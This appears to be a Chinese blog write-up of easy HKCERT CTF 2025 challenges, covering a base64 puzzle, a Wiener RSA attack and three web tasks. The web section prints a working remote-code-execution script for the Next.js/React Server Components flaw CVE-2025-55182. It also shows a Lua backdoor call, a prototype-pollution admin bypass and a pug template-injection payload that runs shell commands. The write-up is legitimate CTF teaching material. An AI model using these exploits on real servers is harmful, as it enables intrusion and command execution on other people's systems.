Loading...

文章背景图

HKCERT CTF 2025 部分wp(简单部分)

乂忆 乂忆
|
2025-12-21
|
70
|
-
|
- min
|
3
|

HKCERT CTF 2025 部分wp(简单部分)

打了一次紧张刺激的ctf,也是解出来了一些基础题。

misc

Easy_Base

这一道题很简单,但是难倒了大多数AI(别问我怎么知道的),但是只要脑洞大一点,就很容易发现答案

image-20251221161653817

看题目,是一道简单的base64,提示,flag格式为flag{xx_xx}。

看附件,只有一串文字

Zg====AbYQ====wZew====ARZQ====gbaQ====QcdQ====QZdQ====gYaQ====QZcg====QadA====wXcw====QYbg====wZdQ====Qacw====QYZw====AbYQ====AZaQ====wbcg====QZZw====Qacw====Qf

有====,但题目提示base64,所以可以把等于去掉然后base64跑一下。

去掉以后的文本

ZgAbYQwZewARZQgbaQQcdQQZdQgYaQQZcgQadAwXcwQYbgwZdQQacwQYZwAbYQAZaQwbcgQZZwQacwQf

image-20251221162414578

解码以后,只有fa{eiuuirtsnusgairgs,其他都是空。

正常的AI已经在想是不是加密,跑好久了。但是如果反过,把flag分别换成base64看一看

image-20251221162735128

诶,有点眼熟,这我可都见过

表情包 | 我看见了 我全都看见了 拿图点赞、吱声

在哪呢,Zg====AbYQ====wZew==这不是么,眼熟不,再变一下Zg==bA==YQ==Zw==ew==这不就是么,四个不变,四个倒叙。好了,也懒得让AI打脚本了,直接手搓文本解开吧

于是手搓了flag

flag{Deniqueubierit_sanguisagladioregis}

Questionnaire

比赛没时间了,看看misc有什么新题,诶,这是什么?调查问卷!!!!

我和我的小伙伴都惊呆了 戴着皇冠的卡通人物瞪大眼,配文“我和我的小伙伴都惊呆了”表情包图片gif动图 - 求表情网,斗图从此不求人!

送分来了,那可太好了,收下了

哆啦A梦表情包 - 高清图片,堆糖,美图壁纸兴趣社区

ctf2025{"EVALUATION_COMPLETED":"THANKS"}

crypto

Try E

这边放一下附件源码

from Crypto.Util.number import getPrime, bytes_to_long
​
from secret import flag
​
def get_huge_RSA():
​
  p = getPrime(1024)
​
  q = getPrime(1024)
​
  N = p * q
​
  phi = (p - 1) * (q - 1)
​
  while True:
​
     d = getPrime(256)
​
     e = pow(d, -1, phi)
​
     if e.bit_length() == N.bit_length():
​
       break
​
  return N,e
​
if __name__ == '__main__':
​
  N, e = get_huge_RSA()
​
  m = bytes_to_long(flag)
​
  c = pow(m, e, N)
​
  print(f'N = {hex(N)}')
​
  print(f'e = {hex(e)}')
​
  print(f'c = {hex(c)}')
​
'''
​
N = 0x662854e5ee8b1aa73eea7c897f0f1bd7cace486dea68fb4e9b1affe86ddae225221e9941b7e90b7dd87d57988fc3428f51433a5c2a6e7ef9cbe85aace0925914347ca1d403ea58e2f36435b67648f8caf0abd29c9c24d3caeadab2c41522deda75c19584ec917fa683ff16c932f334db3145a8367c3dc6bc3b918ff3f69f8bfb16c45b4caab1e8ecef24e8e923e984e921115d9fb997a638c8e25d74d592f279359e7147745a7a8443603287120d1a186f30d5a41ce26545f85844721b788564e306791ae39c3be23aeeab010e79302afab4b3e9ab18cb2769382ff8fcbc0514f51861ec6db247f0a0343b7cc6d44299878f7006c118df10de6937c11e3aed7d
​
e = 0x58a2680eae331e41397475dd699a75f242897e4ed4048338137eb40100cc406b651c4518f4057ad8419cd6a82605113dd5801cd9f022f8bda424b02db5feb333d96636026c3ffc4cab74f7426aa14fb1139663a4f6248dd8e5c7075fcdf3e520c425697775cfb65d33ccca5ffe08d944753b1e9da2dbf96713ece5436deb6dbc843dcd5c497eda9919e055a32c76798770535c6a91ae00b971f35be1ab9e48dd4c701026e0744826001f6fb30e4f68d6e4981aa5a5bbcc995a9e46a4d9b1658348d0fb3b1314fa091251ea1b7379a854a3860fcba2ace323dca8157008d80d6035fd6c880404495f933bf4b4ae829b35823450a921f64b9cf63ae861b3fc4ef7
​
c = 0x47d2e297294af43a9a02d465f7f5272cab0af2445cbc6022def1098e075dcfb3a7830f09df6112a9fa55b34ed4d0baebad54ea2cbd32e4367cbe7a138409a0ef4c36d837ea7817ec3624fca3a19c1377eaf08e4a519de73cb2c5e99ec8f3998e04d4c3bc44a6f1eb389111bf7c72c68bf1dd743e656467d1ecdd314b37313963758634b83ea96724b1872367a922788f2c8a046c76ccc57e86686bedd7ac431f92b9e2f1fae79701fa0d14d2a0119860c8908336c6caec87b9733f626166373631e1e7e9ba6be92d712e84e821e0e4dc105d460c6640498aefaeb5146d0f57b8e57c3e24bc13f3e79082172c1690428eb49bc6035f1e60f6a579129a2da00c60
​
'''

提示了RAS加密,基本原理不说了,直接贴脚本

from Crypto.Util.number import long_to_bytes
import gmpy2
​
# 给定数据
N = 0x662854e5ee8b1aa73eea7c897f0f1bd7cace486dea68fb4e9b1affe86ddae225221e9941b7e90b7dd87d57988fc3428f51433a5c2a6e7ef9cbe85aace0925914347ca1d403ea58e2f36435b67648f8caf0abd29c9c24d3caeadab2c41522deda75c19584ec917fa683ff16c932f334db3145a8367c3dc6bc3b918ff3f69f8bfb16c45b4caab1e8ecef24e8e923e984e921115d9fb997a638c8e25d74d592f279359e7147745a7a8443603287120d1a186f30d5a41ce26545f85844721b788564e306791ae39c3be23aeeab010e79302afab4b3e9ab18cb2769382ff8fcbc0514f51861ec6db247f0a0343b7cc6d44299878f7006c118df10de6937c11e3aed7d
e = 0x58a2680eae331e41397475dd699a75f242897e4ed4048338137eb40100cc406b651c4518f4057ad8419cd6a82605113dd5801cd9f022f8bda424b02db5feb333d96636026c3ffc4cab74f7426aa14fb1139663a4f6248dd8e5c7075fcdf3e520c425697775cfb65d33ccca5ffe08d944753b1e9da2dbf96713ece5436deb6dbc843dcd5c497eda9919e055a32c76798770535c6a91ae00b971f35be1ab9e48dd4c701026e0744826001f6fb30e4f68d6e4981aa5a5bbcc995a9e46a4d9b1658348d0fb3b1314fa091251ea1b7379a854a3860fcba2ace323dca8157008d80d6035fd6c880404495f933bf4b4ae829b35823450a921f64b9cf63ae861b3fc4ef7
c = 0x47d2e297294af43a9a02d465f7f5272cab0af2445cbc6022def1098e075dcfb3a7830f09df6112a9fa55b34ed4d0baebad54ea2cbd32e4367cbe7a138409a0ef4c36d837ea7817ec3624fca3a19c1377eaf08e4a519de73cb2c5e99ec8f3998e04d4c3bc44a6f1eb389111bf7c72c68bf1dd743e656467d1ecdd314b37313963758634b83ea96724b1872367a922788f2c8a046c76ccc57e86686bedd7ac431f92b9e2f1fae79701fa0d14d2a0119860c8908336c6caec87b9733f626166373631e1e7e9ba6be92d712e84e821e0e4dc105d460c6640498aefaeb5146d0f57b8e57c3e24bc13f3e79082172c1690428eb49bc6035f1e60f6a579129a2da00c60
​
​
# 维纳攻击实现
def wiener_attack(e, n):
    # 连分数展开
    def continued_fractions(e, n):
        cf = []
        while n:
            q = e // n
            cf.append(q)
            e, n = n, e - q * n
        return cf
​
    # 收敛分数
    def convergents(cf):
        convergents = []
        for i in range(len(cf)):
            num = cf[i]
            den = 1
            for j in range(i - 1, -1, -1):
                num, den = cf[j] * num + den, num
            convergents.append((num, den))
        return convergents
​
    cf = continued_fractions(e, n)
    conv = convergents(cf)
​
    for k, d in conv:
        if k == 0:
            continue
        # 检查是否满足条件
        if (e * d - 1) % k != 0:
            continue
​
        phi = (e * d - 1) // k
        # 尝试解二次方程 x^2 - (n - phi + 1)x + n = 0
        b = n - phi + 1
        discriminant = b * b - 4 * n
        if discriminant < 0:
            continue
​
        sqrt_disc = gmpy2.isqrt(discriminant)
        if sqrt_disc * sqrt_disc != discriminant:
            continue
​
        p = (b + sqrt_disc) // 2
        q = (b - sqrt_disc) // 2
​
        if p * q == n:
            return d, p, q
​
    return None

flag{Y0u_kNoW_C0n7lNu3d_Fr4c71on!}

web

react

题目:

image-20251221164600394

诶,next.js 15,这不最近杀疯的CVE-2025-55182么

受影响的React版本: 
React 19.0.0 
React 19.1.0   
React 19.1.1 
React 19.2.0 
受影响的包: 
react-server-dom-parcel react-server-dom-turbopack
react-server-dom-webpack
受影响的Next.js版本:
使用React Server Components和App Router的应用程序在以下版本中受到影响:
Next.js 15.x系列(所有版本) 
Next.js 16.x系列(所有版本) 
Next.js 14.3.0-canary.77及后续canary版本  
注:只有同时使用React Server Components和App Router的Next.js应用程序才会受到影响。 

网上搜一搜这个漏洞,找一找怎么复现,进行一下漏洞的复现。这边贴一个参考脚本

import requests
import sys
import json
​
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://web-1e6f78123d.challenge.xctf.org.cn/"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "cat /flag"
​
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}
​
files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}
​
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

直接更改URL就能得解

不得不说next.js是真火,给题都冲成签到题了

image-20251221165204605

easy-lua

给了一个能运行LUA代码的网站,网上能搜到一些关于溢出的漏洞

这边先用迭代器看了看LUA的函数

--探测可用函数
​
 for k,v in pairs(_G) do print(k) end

_G是一个全局环境表,可以查看Lua的全局变量和函数,

pairs()是一个迭代器函数,用于遍历表中的所有键值对

pairs(_G) 会遍历全局环境表中的每一个键(变量名)和对应的值

对于每个键值对,k 是变量名(字符串),v 是变量值(可能是函数、表、字符串等)

输出结果是这样的

package G VERSION GOPHERLUA_VERSION loadstring pcall setfenv tonumber unpack getfenv rawequal setmetatable collectgarbage getmetatable next print select _printregs module newproxy assert error rawget rawset tostring type xpcall require dofile load loadfile ipairs pairs table string math S3cr3t0sEx3cFunc getFileContent getFileList

这里面最后三个都有一点点可疑,好像可以利用,

-- 测试 S3cr3t0sEx3cFunc(可能是后门函数)
if S3cr3t0sEx3cFunc then
    print(type(S3cr3t0sEx3cFunc))
    -- 尝试调用
    local result = S3cr3t0sEx3cFunc("id")
    print("Result:", result)
end

发现出现了回显,RCE,ls,cat,成功获得flag

ezjs

给了一个附件,发现是题目源码,所以这一题应该是代码审计

package.json

{
​
 "name": "shabby_website",
​
 "version": "1.0.0",
​
 "description": "",
​
 "main": "app.js",
​
 "scripts": {
​
  "test": "echo \"Error: no test specified\" && exit 1"
​
 },
​
 "author": "Rieß",
​
 "license": "ISC",
​
 "dependencies": {
​
  "body-parser": "^1.20.2",
​
  "cookie-parser": "^1.4.6",
​
  "express": "^4.18.1",
​
  "express-session": "^1.17.3",
​
  "json5": "2.2.1",
​
  "string-random": "^0.1.3",
​
  "pug": "^3.0.2"
​
 }
​
}

交代了一些版本信息,但是感觉没有什么大用,

app.js

const expres=require('express')
​
const JSON5 = require('json5');
​
const bodyParser = require('body-parser')
​
const pugjs=require('pug')
​
const session = require('express-session')
​
const rand = require('string-random')
​
var cookieParser = require('cookie-parser');
​
const SECRET = rand(32, '0123456789abcdef')
​
const port=80
​
const app=expres()
​
app.use(bodyParser.urlencoded({ extended: false }))
​
app.use(bodyParser.json())
​
app.use(session({
​
  secret: SECRET,
​
  resave: false,
​
  saveUninitialized:  true,
​
  cookie: { maxAge: 3600 * 1000 }
​
}));
​
app.use(cookieParser());
​
function waf(obj, arr){
​
  let verify = true;
​
  Object.keys(obj).forEach((key) => {
​
•    if (arr.indexOf(key) > -1) {
​
•      verify = false;
​
•    }
​
  });
​
  return verify;
​
}
​
app.get('/',(req,res)=>{
​
  res.send('hey bro!')
​
})
​
app.post('/login',(req,res)=>{
​
  let userinfo=JSON.stringify(req.body)
​
  const user = JSON5.parse(userinfo)
​
  if (waf(user, ['admin'])) {
​
•    req.session.user  = user
​
•    if(req. session.user.admin==true){
​
•      req.session.user='admin'
​
•      res.send('hello,admin')
​
•    }
​
•    else{
​
•      res.send('hello,guest')
​
•    }
​
  }
​
  else {
​
•    res.send('login error!')
​
  }
​
})
​
app.post('/render',(req,res)=>{
​
  if (req.session.user === 'admin'){
​
  
​
•    var word = req.body.word
​
•    
​
•    const blacklist = ['require', 'exec']
​
•    let isBlocked = false
​
•    
​
•    if (word) {
​
•      for (let keyword of blacklist) {
​
•        if (word.toLowerCase().includes(keyword.toLowerCase())) {
​
•          isBlocked = true
​
•          break
​
•        }
​
•      }
​
•    }
​
•    
​
•    if (isBlocked) {
​
•      res.send('Blocked:  dangerous keywords detected!')
​
•    } else {
​
•      var hello='welcome '+ word
​
•      res.send (pugjs.render(hello))
​
•    }
​
  }
​
  else{
​
•    res.send('you are not admin')
​
  }
​
})
​
app.listen(port, () => {
​
  console.log(`Example app listening on port ${port}`)
​
})

这个给的信息很多,首先是路由,get访问的/路由,post访问的/login路由和/render路由,

在/render路由路由中

app.post('/render',(req,res)=>{
​
  if (req.session.user === 'admin'){ //  检查session中是否为管理员
​
  
​
•    var word = req.body.word //  获取请求体中的word参数
​
•    
​
•    const blacklist = ['require', 'exec'] //  定义关键字黑名单
​
•    let isBlocked = false //  初始化是否被拦截的标志
​
•    
​
•    if (word) { //  检查输入的单词是否存在
​
•      for (let keyword of blacklist) { //  遍历黑名单中的每个关键词
​
•        if (word.toLowerCase().includes(keyword.toLowerCase())) { //  将输入的单词和黑名单关键词都转换为小写进行比较
​
•          isBlocked = true //  如果发现匹配的关键词,设置isBlocked为true并跳出循环
​
•          break
​
•        }
​
•      }
​
•    }
​
•    
​
•    if (isBlocked) { //  根据isBlocked的值决定返回不同的响应
​
•      res.send('Blocked:  dangerous keywords detected!') //  如果检测到危险关键词,返回阻止信息
​
•    } else {
​
•      var hello='welcome '+ word //  如果没有检测到危险关键词,渲染欢迎信息
​
•      res.send (pugjs.render(hello))
​
•    }
​
  }
​
  else{ //  检查用户是否为管理员
​
•    res.send('you are not admin')
​
  }
​
})

先要检查是不是管理员,admin,然后进行一个过滤,只过滤了'require', 'exec',然后就能渲染,那就能模板注入了,那么首先的问题是我要让自己变成admin

这边能利用一下/login路由

app.post('/login',(req,res)=>{ //  定义POST路由,处理/login路径的请求
​
  let userinfo=JSON.stringify(req.body) //  将请求体转换为JSON字符串
​
  const user = JSON5.parse(userinfo) //  使用JSON5解析用户信息
​
  if (waf(user, ['admin'])) { //  通过Web应用防火墙(WAF)验证用户
​
•    req.session.user  = user //  将用户信息存储到session中
​
•    if(req. session.user.admin==true){ //  检查用户是否为管理员
​
•      req.session.user='admin' //  设置session为管理员
​
•      res.send('hello,admin') //  返回管理员欢迎信息
​
•    }
​
•    else{
​
•      res.send('hello,guest') //  返回普通用户欢迎信息
​
•    }
​
  }
​
  else {
​
•    res.send('login error!') //  登录失败返回错误信息
​
  }
​
})

绕过waf检测就能蹭网

这边用了注释绕过

// 原型链污染
{
    "__proto__": {
        "admin": true
    }
}

成功成为管理员,这样我就能拿着我的cookie去渲染了

渲染也是用的注释进行绕过黑名单筛选。

{
    "word": "#{global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt')}"
}

成功进行绕过获得flag


首页 关于

分享文章

未配置分享平台

请在主题设置中启用分享平台

评论